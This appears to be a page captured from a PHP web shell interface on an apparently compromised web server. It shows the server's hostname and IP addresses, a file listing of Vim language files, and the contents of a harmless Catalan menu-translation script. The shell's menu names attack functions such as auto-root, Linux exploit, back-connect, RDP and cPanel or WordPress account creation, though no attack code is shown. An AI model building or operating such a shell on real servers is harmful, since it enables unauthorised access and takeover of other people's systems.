Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.144.117.164
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim74 /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
af
[ DIR ]
drwxr-xr-x
ca
[ DIR ]
drwxr-xr-x
cs
[ DIR ]
drwxr-xr-x
cs.cp1250
[ DIR ]
drwxr-xr-x
de
[ DIR ]
drwxr-xr-x
en_GB
[ DIR ]
drwxr-xr-x
eo
[ DIR ]
drwxr-xr-x
es
[ DIR ]
drwxr-xr-x
fi
[ DIR ]
drwxr-xr-x
fr
[ DIR ]
drwxr-xr-x
ga
[ DIR ]
drwxr-xr-x
it
[ DIR ]
drwxr-xr-x
ja
[ DIR ]
drwxr-xr-x
ja.euc-jp
[ DIR ]
drwxr-xr-x
ja.sjis
[ DIR ]
drwxr-xr-x
ko
[ DIR ]
drwxr-xr-x
ko.UTF-8
[ DIR ]
drwxr-xr-x
nb
[ DIR ]
drwxr-xr-x
nl
[ DIR ]
drwxr-xr-x
no
[ DIR ]
drwxr-xr-x
pl
[ DIR ]
drwxr-xr-x
pl.UTF-8
[ DIR ]
drwxr-xr-x
pl.cp1250
[ DIR ]
drwxr-xr-x
pt_BR
[ DIR ]
drwxr-xr-x
ru
[ DIR ]
drwxr-xr-x
ru.cp1251
[ DIR ]
drwxr-xr-x
sk
[ DIR ]
drwxr-xr-x
sk.cp1250
[ DIR ]
drwxr-xr-x
sv
[ DIR ]
drwxr-xr-x
uk
[ DIR ]
drwxr-xr-x
uk.cp1251
[ DIR ]
drwxr-xr-x
vi
[ DIR ]
drwxr-xr-x
zh_CN
[ DIR ]
drwxr-xr-x
zh_CN.UTF-8
[ DIR ]
drwxr-xr-x
zh_CN.cp936
[ DIR ]
drwxr-xr-x
zh_TW
[ DIR ]
drwxr-xr-x
zh_TW.UTF-8
[ DIR ]
drwxr-xr-x
README.txt
1.91
KB
-rw-r--r--
menu_af.latin1.vim
73
B
-rw-r--r--
menu_af.utf-8.vim
92
B
-rw-r--r--
menu_af_af.latin1.vim
5.39
KB
-rw-r--r--
menu_af_af.utf-8.vim
92
B
-rw-r--r--
menu_ca.latin1.vim
75
B
-rw-r--r--
menu_ca.utf-8.vim
153
B
-rw-r--r--
menu_ca_es.latin1.vim
13.8
KB
-rw-r--r--
menu_ca_es.utf-8.vim
153
B
-rw-r--r--
menu_chinese(gb)_gb.936.vim
270
B
-rw-r--r--
menu_chinese(taiwan)_taiwan.95...
284
B
-rw-r--r--
menu_chinese_gb.936.vim
10.09
KB
-rw-r--r--
menu_chinese_taiwan.950.vim
12.46
KB
-rw-r--r--
menu_cs.cp1250.vim
82
B
-rw-r--r--
menu_cs.latin1.vim
82
B
-rw-r--r--
menu_cs_cz.cp1250.vim
82
B
-rw-r--r--
menu_cs_cz.iso_8859-2.vim
12.6
KB
-rw-r--r--
menu_cs_cz.latin1.vim
83
B
-rw-r--r--
menu_cs_cz.utf-8.vim
12.95
KB
-rw-r--r--
menu_czech_czech_republic.1250...
12.6
KB
-rw-r--r--
menu_czech_czech_republic.1252...
113
B
-rw-r--r--
menu_czech_czech_republic.asci...
12.61
KB
-rw-r--r--
menu_de.latin1.vim
94
B
-rw-r--r--
menu_de.utf-8.vim
89
B
-rw-r--r--
menu_de_de.latin1.vim
13.27
KB
-rw-r--r--
menu_de_de.utf-8.vim
89
B
-rw-r--r--
menu_en_gb.latin1.vim
484
B
-rw-r--r--
menu_en_gb.utf-8.vim
74
B
-rw-r--r--
menu_english_united_kingdom.12...
84
B
-rw-r--r--
menu_english_united_kingdom.as...
84
B
-rw-r--r--
menu_eo.utf-8.vim
17.39
KB
-rw-r--r--
menu_eo_eo.utf-8.vim
88
B
-rw-r--r--
menu_eo_xx.utf-8.vim
88
B
-rw-r--r--
menu_es.latin1.vim
71
B
-rw-r--r--
menu_es.utf-8.vim
90
B
-rw-r--r--
menu_es_es.latin1.vim
13.47
KB
-rw-r--r--
menu_es_es.utf-8.vim
90
B
-rw-r--r--
menu_fi.latin1.vim
92
B
-rw-r--r--
menu_fi.utf-8.vim
90
B
-rw-r--r--
menu_fi_fi.latin1.vim
17.39
KB
-rw-r--r--
menu_fi_fi.utf-8.vim
90
B
-rw-r--r--
menu_finnish_finland.1252.vim
106
B
-rw-r--r--
menu_fr.latin1.vim
94
B
-rw-r--r--
menu_fr.utf-8.vim
89
B
-rw-r--r--
menu_fr_fr.latin1.vim
18.06
KB
-rw-r--r--
menu_fr_fr.utf-8.vim
89
B
-rw-r--r--
menu_french_france.1252.vim
105
B
-rw-r--r--
menu_german_germany.1252.vim
105
B
-rw-r--r--
menu_hu.iso_8859-2.vim
94
B
-rw-r--r--
menu_hu.utf-8.vim
89
B
-rw-r--r--
menu_hu_hu.iso_8859-2.vim
11.13
KB
-rw-r--r--
menu_hu_hu.utf-8.vim
10.59
KB
-rw-r--r--
menu_it.latin1.vim
71
B
-rw-r--r--
menu_it.utf-8.vim
90
B
-rw-r--r--
menu_it_it.latin1.vim
12.57
KB
-rw-r--r--
menu_it_it.utf-8.vim
90
B
-rw-r--r--
menu_italian_italy.1252.vim
82
B
-rw-r--r--
menu_ja.cp932.vim
292
B
-rw-r--r--
menu_ja.euc-jp.vim
347
B
-rw-r--r--
menu_ja.eucjp.vim
347
B
-rw-r--r--
menu_ja.ujis.vim
346
B
-rw-r--r--
menu_ja.utf-8.vim
135
B
-rw-r--r--
menu_ja_jp.cp932.vim
292
B
-rw-r--r--
menu_ja_jp.euc-jp.vim
12.02
KB
-rw-r--r--
menu_ja_jp.eucjp.vim
346
B
-rw-r--r--
menu_ja_jp.ujis.vim
346
B
-rw-r--r--
menu_ja_jp.utf-8.vim
13.34
KB
-rw-r--r--
menu_japanese_japan.932.vim
12.01
KB
-rw-r--r--
menu_ko.utf-8.vim
69
B
-rw-r--r--
menu_ko_kr.euckr.vim
10.26
KB
-rw-r--r--
menu_ko_kr.utf-8.vim
11.08
KB
-rw-r--r--
menu_ko_kr.vim
146
B
-rw-r--r--
menu_nl.latin1.vim
74
B
-rw-r--r--
menu_nl.utf-8.vim
93
B
-rw-r--r--
menu_nl_nl.latin1.vim
10.25
KB
-rw-r--r--
menu_nl_nl.utf-8.vim
93
B
-rw-r--r--
menu_no.latin1.vim
125
B
-rw-r--r--
menu_no.utf-8.vim
143
B
-rw-r--r--
menu_no_no.latin1.vim
10.5
KB
-rw-r--r--
menu_no_no.utf-8.vim
146
B
-rw-r--r--
menu_pl.cp1250.vim
76
B
-rw-r--r--
menu_pl_pl.cp1250.vim
76
B
-rw-r--r--
menu_pl_pl.iso_8859-2.vim
12
KB
-rw-r--r--
menu_pl_pl.utf-8.vim
12.2
KB
-rw-r--r--
menu_polish_poland.1250.vim
11.99
KB
-rw-r--r--
menu_pt_br.latin1.vim
67
B
-rw-r--r--
menu_pt_br.utf-8.vim
86
B
-rw-r--r--
menu_pt_br.vim
11.8
KB
-rw-r--r--
menu_pt_pt.latin1.vim
66
B
-rw-r--r--
menu_pt_pt.utf-8.vim
66
B
-rw-r--r--
menu_pt_pt.vim
10.89
KB
-rw-r--r--
menu_ru.utf-8.vim
64
B
-rw-r--r--
menu_ru_ru.koi8-r.vim
13.2
KB
-rw-r--r--
menu_ru_ru.utf-8.vim
64
B
-rw-r--r--
menu_ru_ru.vim
16.35
KB
-rw-r--r--
menu_sk.cp1250.vim
88
B
-rw-r--r--
menu_sk_sk.1250.vim
217
B
-rw-r--r--
menu_sk_sk.cp1250.vim
88
B
-rw-r--r--
menu_sk_sk.iso_8859-2.vim
9.86
KB
-rw-r--r--
menu_sk_sk.vim
264
B
-rw-r--r--
menu_sl_si.cp1250.vim
12.86
KB
-rw-r--r--
menu_sl_si.latin2.vim
12.82
KB
-rw-r--r--
menu_sl_si.utf-8.vim
12.98
KB
-rw-r--r--
menu_slovak_slovak_republic.12...
9.85
KB
-rw-r--r--
menu_spanish_spain.850.vim
41
B
-rw-r--r--
menu_sr.utf-8.vim
70
B
-rw-r--r--
menu_sr_rs.ascii.vim
10.76
KB
-rw-r--r--
menu_sr_rs.iso_8859-2.vim
10.71
KB
-rw-r--r--
menu_sr_rs.iso_8859-5.vim
10.69
KB
-rw-r--r--
menu_sr_rs.utf-8.vim
13.16
KB
-rw-r--r--
menu_sr_yu.ascii.vim
70
B
-rw-r--r--
menu_sr_yu.iso_8859-2.vim
75
B
-rw-r--r--
menu_sr_yu.iso_8859-5.vim
75
B
-rw-r--r--
menu_sr_yu.utf-8.vim
70
B
-rw-r--r--
menu_sv.latin1.vim
71
B
-rw-r--r--
menu_sv.utf-8.vim
90
B
-rw-r--r--
menu_sv_se.latin1.vim
10.41
KB
-rw-r--r--
menu_sv_se.utf-8.vim
90
B
-rw-r--r--
menu_uk_ua.cp1251.vim
10.03
KB
-rw-r--r--
menu_uk_ua.koi8-u.vim
10.03
KB
-rw-r--r--
menu_vi_vn.vim
13.76
KB
-rw-r--r--
menu_zh.big5.vim
89
B
-rw-r--r--
menu_zh.cp936.vim
98
B
-rw-r--r--
menu_zh.cp950.vim
89
B
-rw-r--r--
menu_zh.gb2312.vim
96
B
-rw-r--r--
menu_zh_cn.18030.vim
82
B
-rw-r--r--
menu_zh_cn.cp936.vim
98
B
-rw-r--r--
menu_zh_cn.gb2312.vim
10.28
KB
-rw-r--r--
menu_zh_cn.gbk.vim
82
B
-rw-r--r--
menu_zh_cn.utf-8.vim
10.84
KB
-rw-r--r--
menu_zh_tw.big5.vim
89
B
-rw-r--r--
menu_zh_tw.cp950.vim
89
B
-rw-r--r--
menu_zh_tw.utf-8.vim
13.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : menu_ca_es.latin1.vim
" Menu translations for Catalan " " Maintainer: Ernest Adrogu� <eadrogue@gmx.net> " Last Change: 6 Jun 2008 " " Quit when menu translations have already been done. if exists("did_menu_trans") finish endif let did_menu_trans = 1 let s:keepcpo= &cpo set cpo&vim " The translations below are in latin1, but they work for cp1252, " iso-8859-15 without conversion as well. if &enc != "cp1252" && &enc != "iso-8859-15" scriptencoding latin1 endif " men� Ajuda menutrans &Help &Ajuda menutrans &Overview<Tab><F1> &Introducci�<Tab><F1> menutrans &User\ Manual &Manual\ de\ l'usuari menutrans &How-to\ links Com\ &fer\.\.\.? menutrans &Find\.\.\. &Cerca\.\.\. menutrans &Credits &Autors menutrans Co&pying Con&dicions menutrans &Sponsor/Register &Patrocini/Registre menutrans O&rphans &Orfes menutrans &Version &Versi� menutrans &About &Quant\ a\.\.\. " text del di�leg Ajuda/Cerca... let g:menutrans_help_dialog = "Introdu�u el terme sobre el qual necessiteu ajuda.\n\nUseu el prefix i_ per ordres d'entrada (p.ex.: i_CTRL-X)\nUseu el prefix c_ per ordres de la l�nia d'ordres (p.ex.: c_<Del>)\nUseu el prefix ' per noms d'opcions (p.ex.: 'shiftwidth')" " men� Fitxer menutrans &File &Fitxer menutrans &Open\.\.\.<Tab>:e &Obre\.\.\.<Tab>:e menutrans Sp&lit-Open\.\.\.<Tab>:sp Obre\ en\ una\ &finestra\ nova\.\.\.<Tab>:sp menutrans Open\ Tab\.\.\.<Tab>:tabnew Obre\ pestanya\.\.\.<Tab>:tabnew menutrans &New<Tab>:enew &Nou<Tab>:enew menutrans &Close<Tab>:close &Tanca<Tab>:close menutrans &Save<Tab>:w &Desa<Tab>:w menutrans Save\ &As\.\.\.<Tab>:sav &Anomena\ i\ desa\.\.\.<Tab>:sav menutrans Split\ &Diff\ with\.\.\. &Mostra\ les\ difer�ncies\ respecte\.\.\. menutrans Split\ Patched\ &By\.\.\. Aplica\ les\ modificacions\ de\.\.\. menutrans &Print &Imprimeix menutrans Sa&ve-Exit<Tab>:wqa Desa\ i\ s&urt<Tab>:wqa menutrans E&xit<Tab>:qa &Surt<Tab>:qa " men� Edita menutrans &Edit &Edita menutrans &Undo<Tab>u &Desf�s<Tab>u menutrans &Redo<Tab>^R &Ref�s<Tab>^R menutrans Rep&eat<Tab>\. Re&peteix<Tab>\. menutrans Cu&t<Tab>"+x Re&talla<Tab>"+x menutrans &Copy<Tab>"+y &Copia<Tab>"+y menutrans &Paste<Tab>"+gP Engan&xa<Tab>"+gP menutrans Put\ &Before<Tab>[p Posa\ &abans<Tab>[p menutrans Put\ &After<Tab>]p P&osa\ despr�s<Tab>]p menutrans &Delete<Tab>x Suprimeix<Tab>x menutrans &Select\ All<Tab>ggVG &Selecciona-ho\ tot<Tab>ggVG menutrans &Find\.\.\. &Cerca\.\.\. menutrans &Find<Tab>/ &Cerca<Tab>/ menutrans Find\ and\ Rep&lace Cerca\ i\ s&ubstitueix menutrans Find\ and\ Rep&lace\.\.\. Cerca\ i\ s&ubstitueix\.\.\. menutrans Find\ and\ Rep&lace<Tab>:%s Cerca\ i\ s&ubstitueix<Tab>:%s menutrans Find\ and\ Rep&lace<Tab>:s Cerca\ i\ s&ubstitueix<Tab>:s menutrans Settings\ &Window Fin&estra\ d'opcions menutrans Startup\ &Settings Opcions\ i&nicials menutrans &Global\ Settings Opcions\ &globals " submen� Edita/Opcions Globals menutrans Toggle\ Pattern\ &Highlight<Tab>:set\ hls! Ressalt\ de\ &patrons<Tab>:set\ hls! menutrans Toggle\ &Ignore-case<Tab>:set\ ic! Sensibilitat\ a\ les\ ma&j�scules<Tab>:set\ ic! menutrans Toggle\ &Showmatch<Tab>:set\ sm! &Ressalt\ de\ coincid�ncies<Tab>:set\ sm! menutrans &Context\ lines L�nies\ de\ co&ntext menutrans &Virtual\ Edit Edici�\ &virtual " submen� Edita/Opcions Globals/Edici� virtual menutrans Never &Mai menutrans Block\ Selection &Selecci�\ de\ blocs menutrans Insert\ mode Mode\ d'&inserci� menutrans Block\ and\ Insert &Blocs i inserci� menutrans Always S&empre menutrans Toggle\ Insert\ &Mode<Tab>:set\ im! Mode\ d'&inserci�<Tab>:set\ im! menutrans Toggle\ Vi\ C&ompatible<Tab>:set\ cp! Co&mpatible\ amb\ Vi<Tab>:set\ cp! menutrans Search\ &Path\.\.\. &Ubicacions\.\.\. menutrans Ta&g\ Files\.\.\. Fitxers\ d'&etiquetes\.\.\. menutrans Toggle\ &Toolbar &Barra\ d'eines menutrans Toggle\ &Bottom\ Scrollbar Barra\ de\ &despla�ament\ inferior menutrans Toggle\ &Left\ Scrollbar Barra\ de\ despla�ament\ e&squerra menutrans Toggle\ &Right\ Scrollbar Barra\ de\ despla�ament\ dre&ta menutrans F&ile\ Settings Opcions\ del\ f&itxer " submen� Edita/Opcions del fitxer menutrans Toggle\ Line\ &Numbering<Tab>:set\ nu! &Ennumera\ les\ l�nies<Tab>:set\ nu! menutrans Toggle\ &List\ Mode<Tab>:set\ list! Mode\ &llista<Tab>:set\ list! menutrans Toggle\ Line\ &Wrap<Tab>:set\ wrap! A&justa\ les\ l�nies\ llargues<Tab>:set\ wrap! menutrans Toggle\ W&rap\ at\ word<Tab>:set\ lbr! Ajusta\ sense\ partir\ ¶ules<Tab>:set\ lbr! menutrans Toggle\ &expand-tab<Tab>:set\ et! Est�n\ les\ ta&bulacions<Tab>:set\ et! menutrans Toggle\ &auto-indent<Tab>:set\ ai! &Sagnia\ autom�tica<Tab>:set\ ai! menutrans Toggle\ &C-indenting<Tab>:set\ cin! Sagnia\ estil\ &C<Tab>:set\ cin! menutrans &Shiftwidth Sa&gnia menutrans Soft\ &Tabstop Amplada\ de\ &tabulaci� menutrans Te&xt\ Width\.\.\. &Amplada\ del\ text\.\.\. menutrans &File\ Format\.\.\. &Format\ del\ fitxer\.\.\. menutrans Select\ Fo&nt\.\.\. &Fosa\.\.\. menutrans C&olor\ Scheme Es&quema\ de\ colors " submen� Edita/Esquema de colors menutrans blue blau menutrans darkblue blau\ fosc menutrans default normal menutrans desert desert menutrans evening vesprada menutrans morning matinada menutrans peachpuff pr�ssec menutrans shine brillant menutrans &Keymap &Mapa\ de\ tecles " submen� Edita/Mapa de tecles menutrans None Cap menutrans accents Accents menutrans arabic �rab menutrans czech Txec menutrans esperanto Esperanto menutrans greek Grec menutrans hebrew Hebreu menutrans hebrewp Hebreu\ (fon�tic) menutrans lithuanian-baltic Litu�\ (b�ltic) menutrans pinyin Mandar�\ (fon�tic) menutrans russian-jcuken Rus\ (jcuken) menutrans russian-jcukenwin Rus\ (jcukenwin) menutrans russian-yawerty Rus\ (yawerty) menutrans serbian Serbi menutrans serbian-latin Serbi\ (llat�) menutrans slovak Eslovac " text del di�leg Edita/Opcions globals/Ubicacions... let g:menutrans_path_dialog = "Introdu�u les ubicacions on cercar fitxers.\nSepareu els noms dels directoris amb una coma." " text del di�leg Edita/Opcions globals/Fitxers d'etiquetes... let g:menutrans_tags_dialog = "Introdu�u els noms dels fitxers d'etiquetes.\nSepareu els noms amb una coma." " text del di�leg Edita/Opcions del fitxer/Amplada del text... let g:menutrans_textwidth_dialog = "Introdu�u la nova amplada del text (0 per infinit): " " text del di�leg Edita/Opcions del fitxer/Format del fitxer... let g:menutrans_fileformat_dialog = "Seleccioneu el format per escriure el fitxer." " men� Eines menutrans &Tools Ei&nes menutrans &Jump\ to\ this\ tag<Tab>g^] &Salta\ a\ aquesta\ etiqueta<Tab>g^] menutrans Jump\ &back<Tab>^T Salta\ en&rere<Tab>^T menutrans Build\ &Tags\ File Crea\ un\ fitxer\ d'eti&quetes menutrans &Spelling &Ortografia " submen� Eines/Ortografia menutrans &Spell\ Check\ On Activa\ la\ &revisi�\ ortogr�fica menutrans Spell\ Check\ &Off &Desactiva\ la\ revisi�\ ortogr�fica menutrans To\ &Next\ error<Tab>]s Error\ &seg�ent<tab>]s menutrans To\ &Previous\ error<Tab>[s Error\ &anterior<tab>[s menutrans Suggest\ &Corrections<Tab>z= Su&ggeriments<Tab>z= menutrans &Repeat\ correction<Tab>:spellrepall Re&peteix\ la\ correcci�<Tab>:spellrepall menutrans Set\ language\ to\ "en" Selecciona\ l'idioma\ "en" menutrans Set\ language\ to\ "en_au" Selecciona\ l'idioma\ "en_au" menutrans Set\ language\ to\ "en_ca" Selecciona\ l'idioma\ "en_ca" menutrans Set\ language\ to\ "en_gb" Selecciona\ l'idioma\ "en_gb" menutrans Set\ language\ to\ "en_nz" Selecciona\ l'idioma\ "en_nz" menutrans Set\ language\ to\ "en_us" Selecciona\ l'idioma\ "en_us" menutrans Set\ language\ to\ "ca" Selecciona\ l'idioma\ "ca" menutrans Set\ language\ to\ "es" Selecciona\ l'idioma\ "es" menutrans Set\ language\ to\ "fr" Selecciona\ l'idioma\ "fr" menutrans Set\ language\ to\ "it" Selecciona\ l'idioma\ "it" menutrans &Find\ More\ Languages &Cerca\ altres\ idiomes menutrans &Folding &Plecs " submen� Eines/Plecs menutrans &Enable/Disable\ folds<Tab>zi &Habilita/Deshabilita\ els\ plecs<Tab>zi menutrans &View\ Cursor\ Line<Tab>zv &L�nia\ del\ cursor\ visible<Tab>zv menutrans Vie&w\ Cursor\ Line\ only<Tab>zMzx &Nom�s\ visible\ la\ l�nia\ del\ cursor<Tab>zMzx menutrans C&lose\ more\ folds<Tab>zm &Tanca\ m�s\ plecs<Tab>zm menutrans &Close\ all\ folds<Tab>zM Tanca\ t&ots\ els\ plecs<Tab>zM menutrans O&pen\ more\ folds<Tab>zr Obre\ &m�s\ plecs<Tab>zr menutrans &Open\ all\ folds<Tab>zR O&bre\ tots\ els\ plecs<Tab>zR menutrans Fold\ Met&hod M�to&de " submen� Eines/Pl�cs/M�tode menutrans M&anual M&anual menutrans I&ndent &Sagnia menutrans E&xpression E&xpressi� menutrans S&yntax S&intaxi menutrans &Diff &Difer�ncies menutrans Ma&rker &Marques menutrans Create\ &Fold<Tab>zf &Crea\ un\ plec<Tab>zf menutrans &Delete\ Fold<Tab>zd &Elimina\ un\ plec<Tab>zd menutrans Delete\ &All\ Folds<Tab>zD Elimina\ tot&s\ els\ plecs<Tab>zD menutrans Fold\ col&umn\ width &Amplada\ de\ la\ columna\ de\ plecs menutrans &Diff &Difer�ncies " submen� Eines/Difer�ncies menutrans &Update &Actualitza menutrans &Get\ Block &Obtingues\ un\ bloc menutrans &Put\ Block &Posa\ un\ bloc menutrans &Make<Tab>:make Crida\ a\ &make<Tab>:make menutrans &List\ Errors<Tab>:cl Llista\ d'&errors<Tab>:cl menutrans L&ist\ Messages<Tab>:cl! &Llista\ de\ missatges<Tab>:cl! menutrans &Next\ Error<Tab>:cn Error\ se&g�ent<Tab>:cn menutrans &Previous\ Error<Tab>:cp Error\ an&terior<Tab>:cp menutrans &Older\ List<Tab>:cold Llista\ &antiga<Tab>:cold menutrans N&ewer\ List<Tab>:cnew Llista\ no&va<Tab>:cnew menutrans Error\ &Window F&inestra\ d'errors " submen� Eines/Finestra d'errors menutrans &Update<Tab>:cwin &Actualitza<Tab>:cwin menutrans &Open<Tab>:copen &Obre<Tab>:copen menutrans &Close<Tab>:cclose &Tanca<Tab>:cclose menutrans &Set\ Compiler &Compilador menutrans &SeT\ Compiler &Compilador menutrans &Convert\ to\ HEX<Tab>:%!xxd Converteix\ a\ &HEX<Tab>:%!xxd menutrans Conve&rt\ back<Tab>:%!xxd\ -r Torna\ al\ format\ &original<Tab>:%!xxd\ -r " men� Buffers menutrans &Buffers &Buffers menutrans &Refresh\ menu &Refresca\ el\ men� menutrans &Delete &Elimina menutrans &Alternate &Alterna menutrans &Next &Seg�ent menutrans &Previous A&nterior let g:menutrans_no_file = "[Cap fitxer]" " men� Finestra menutrans &Window F&inestra menutrans &New<Tab>^Wn &Nova<Tab>^Wn menutrans S&plit<Tab>^Ws &Divideix<Tab>^Ws menutrans Sp&lit\ To\ #<Tab>^W^^ Divideix\ &en\ #<Tab>^W^^ menutrans Split\ &Vertically<Tab>^Wv Divideix\ &verticalment<Tab>^Wv menutrans Split\ File\ E&xplorer E&xplorador\ de\ fitxers menutrans &Close<Tab>^Wc &Tanca<Tab>^Wc menutrans Close\ &Other(s)<Tab>^Wo Tanca\ les\ altre&s<Tab>^Wo menutrans Move\ &To M&ou\ a " submen� Finestra/Mou menutrans &Top<Tab>^WK &Dalt\ de\ tot<Tab>^WK menutrans &Bottom<Tab>^WJ &Baix\ de\ tot<Tab>^WJ menutrans &Left\ side<Tab>^WH Costat\ &esquerra<Tab>^WH menutrans &Right\ side<Tab>^WL Costat\ d&ret<Tab>^WL menutrans Rotate\ &Up<Tab>^WR Alterna\ cap\ am&unt<Tab>^WR menutrans Rotate\ &Down<Tab>^Wr Alte&rna\ cap\ avall<Tab>^Wr menutrans &Equal\ Size<Tab>^W= &Iguala<Tab>^W= menutrans &Max\ Height<Tab>^W_ M�xima\ &al�ada<Tab>^W_ menutrans M&in\ Height<Tab>^W1_ M�nima\ a&l�ada<Tab>^W1_ menutrans Max\ &Width<Tab>^W\| M�xima\ a&mplada<Tab>^W\| menutrans Min\ Widt&h<Tab>^W1\| M�nima\ am&plada<Tab>^W1\| " men� emergent menutrans &Undo &Desf�s menutrans Cu&t &Retalla menutrans &Copy &Copia menutrans &Paste &Enganxa menutrans &Delete &Suprimeix menutrans Select\ Blockwise Se&lecci� menutrans Select\ &Word Selecci�\ de\ ¶ules menutrans Select\ &Line Selecci�\ de\ &l�nies menutrans Select\ &Block Selecci�\ de\ bl&ocs menutrans Select\ &All Selecciona-ho\ &tot " barra d'eines if has("toolbar") if exists("*Do_toolbar_tmenu") delfun Do_toolbar_tmenu endif fun Do_toolbar_tmenu() tmenu ToolBar.Open Obre un fitxer tmenu ToolBar.Save Desa el fitxer tmenu ToolBar.SaveAll Desa tots els fitxers tmenu ToolBar.Print Imprimeix tmenu ToolBar.Undo Desf�s tmenu ToolBar.Redo Ref�s tmenu ToolBar.Cut Retalla tmenu ToolBar.Copy Copia tmenu ToolBar.Paste Enganxa tmenu ToolBar.Find Cerca tmenu ToolBar.FindNext Cerca el seg�ent tmenu ToolBar.FindPrev Cerca l'anterior tmenu ToolBar.Replace Cerca i substitueix if 0 " disabled; These are in the Windows menu tmenu ToolBar.New Finestra nova tmenu ToolBar.WinSplit Divideix la finestra tmenu ToolBar.WinMax Al�ada m�xima tmenu ToolBar.WinMin Al�ada m�nima tmenu ToolBar.WinVSplit Divideix la finestra verticalment tmenu ToolBar.WinMaxWidth Amplada m�xima tmenu ToolBar.WinMinWidth Amplada m�nima tmenu ToolBar.WinClose Tanca la finestra endif tmenu ToolBar.LoadSesn Carrega una sessi� tmenu ToolBar.SaveSesn Desa la sessi� tmenu ToolBar.RunScript Executa un script tmenu ToolBar.Make Crida a make tmenu ToolBar.Shell Obre l'int�rpret d'ordres tmenu ToolBar.RunCtags Crea un fitxer d'etiquetes tmenu ToolBar.TagJump Salta a una etiqueta tmenu ToolBar.Help Ajuda tmenu ToolBar.FindHelp Cerca a l'ajuda endfun endif " men� Sintaxi menutrans &Syntax &Sintaxi menutrans &Manual &Manual menutrans A&utomatic A&utom�tica menutrans on/off\ for\ &This\ file Activa/Desactiva\ en\ &aquest\ fitxer menutrans &Show\ filetypes\ in\ menu Mostra\ tots\ els\ &tipus\ al\ men� menutrans &Off &Desactiva menutrans Co&lor\ test Prova\ dels\ &colors menutrans &Highlight\ test Prova\ del\ &ressalt menutrans &Convert\ to\ HTML Converteix\ a\ &HTML menutrans Assembly Ensamblador menutrans Config Configuraci� menutrans Set\ '&syntax'\ only Nom�s\ el\ ressalt\ de\ sintaxi menutrans Set\ '&filetype'\ too Carrega\ tamb�\ els\ plugins let &cpo = s:keepcpo unlet s:keepcpo
Close